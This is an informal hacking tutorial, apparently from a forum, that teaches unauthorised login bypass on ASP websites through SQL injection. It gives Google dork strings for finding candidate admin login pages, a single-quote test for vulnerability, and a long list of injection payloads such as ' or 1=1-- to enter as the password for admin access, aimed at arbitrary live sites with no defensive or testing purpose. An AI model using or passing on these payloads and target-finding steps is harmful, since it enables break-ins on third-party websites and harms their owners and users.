Authentication Bypass Tutorial

SQL can be used for alot of different good or malicious things. The problem for webs now adays is that there is so many programing errors in sql coded websites that it can allow hackers (you and me lol) to get access to sites. or retrieve info. Today you'll only be learning how to by-pass a login. Which is a simple sql attack.


Iight so lets get started, 1st off ur gonna want to go to google.com and type this in: adminlogin.asp. This is a common string that will find sites that COULD be vulnerable to this type of attack. Hence the fucking word "could" lol.



So once your done with that pick a site. I will pick the first one. Which I already know is vulnerable to this attack. You should get something that looks like this.



Now, a sql attack can take a long time as it involves trial and error. So before you waste your life trying to figure it out I suggest you test it out to see if it is sql vulnerable. you can do this just by filling in the username ' yes thats right, then in password put '=' If you get this error (HTTP 500, or HTTP 404 Is also acceptable) then it is vulnerable. However if you get a failed login error... Then no.


K now that your done with that. Your next objective is to get in, so in username type admin. Then in password type one of the following strings:
admin'--

'or''='

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

These can all by-pass the logins. Thne you should have admin access  here is a list of some other strings you can type in google to find sites like this.
"inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:admin_login.asp"
"inurl:administratorlogin.asp"
"inurl:login/administrator.asp"
"inurl:administrator_login.asp"